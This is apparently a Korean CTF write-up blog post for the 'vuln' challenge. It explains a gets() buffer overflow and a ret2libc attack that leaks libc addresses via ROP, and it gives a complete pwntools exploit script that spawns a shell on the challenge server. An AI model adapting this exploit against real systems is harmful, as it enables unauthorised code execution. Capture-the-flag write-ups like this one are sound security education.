Download: vuln
64bit ELF, NX가 걸려있다.
문제 이름에서 알 수 있듯이 offset을 계산해 system 등을 call 하는 게 목표임을 예상해 볼 수 있다.
gets에서 BOF가 발생하고 ROP로 각종 함수들의 실제 주소를 알아낼 수 있다. 문제에서는 libc가 어느 버전인지 알려주고 있지 않으므로, 현재 바이너리에 로드된 함수 중 puts와 gets를 사용해 offset 차이를 알아낸 뒤 libcdb에서 검색해 어느 버전의 libc를 먼저 쓰는지 알아내야 한다.
puts(gets@got); 와 puts(puts@got); 를 호출해 함수 실제 주소를 확인하고 libc를 먼저 확인한다.
puts는 0x7FD228631690이고 gets는 0x7FD228630D80이다. niklasb/libc-database tool으로 find 해본다.
두가지 버전이 나왔는데, 첫 번째를 기준으로 exploit을 작성했다.
libc에는 system과 "/bin/sh" 문자열의 offset이 있으므로, 둘 다 찾아준 뒤 offset 차이를 적용한다.
puts의 실제 주소를 p라고 하면, system의 실제 주소는 p+(0x45390-0x6F690), "/bin/sh"의 실제 주소는 p+(0x18CD57-0x6F690)이 된다. 이를 바탕으로 ROP를 해 주면 된다.
처음에는 puts의 실제 주소를 구해주고, 다시 vuln으로 돌아간 뒤 다음 입력에서 system("/bin/sh"); 를 call 하도록 하면 된다.
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./vuln')
else :
p = connect('icewall-ctf.kr', 10205)
# Gadget
pop_rdi_ret = 0x4007C3
ret = 0x400549
# Addr
puts_got = 0x601018
puts_plt = 0x400560
gets_got = 0x601030
payload = 'A'*(0x20+8)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rdi_ret)
payload += p64(gets_got)
payload += p64(puts_plt)
payload += p64(0x4006B6) # func: vuln
p.sendlineafter('?', payload)
p.recvuntil('!')
puts_addr_s = p.recvline()[:-1]
gets_addr_s = p.recvline()[:-1]
print '[NOTICE] Libc version : libc6_2.23-0ubuntu10_amd64'
print 'puts address : '+''.join('%02X ' % ord(b) for b in puts_addr_s)
print 'gets address : '+''.join('%02X ' % ord(b) for b in gets_addr_s)
puts_addr = u64(puts_addr_s+'\x00\x00')
system_addr = puts_addr + (0x45390-0x6F690)
str_bin_sh_addr = puts_addr + (0x18CD57-0x6F690)
payload = 'A'*(0x20+8)
payload += p64(pop_rdi_ret)
payload += p64(str_bin_sh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
'ICEWALL' 카테고리의 다른 글
[System] babyheap / 400 (0) | 2019.07.20 |
---|---|
[System] stack_chk_fail / 300 (0) | 2019.07.19 |
[System] typing_practice / 200 (0) | 2019.07.19 |
[System] fsb32 / 150 (0) | 2019.07.19 |
[System] canary / 150 (0) | 2019.07.19 |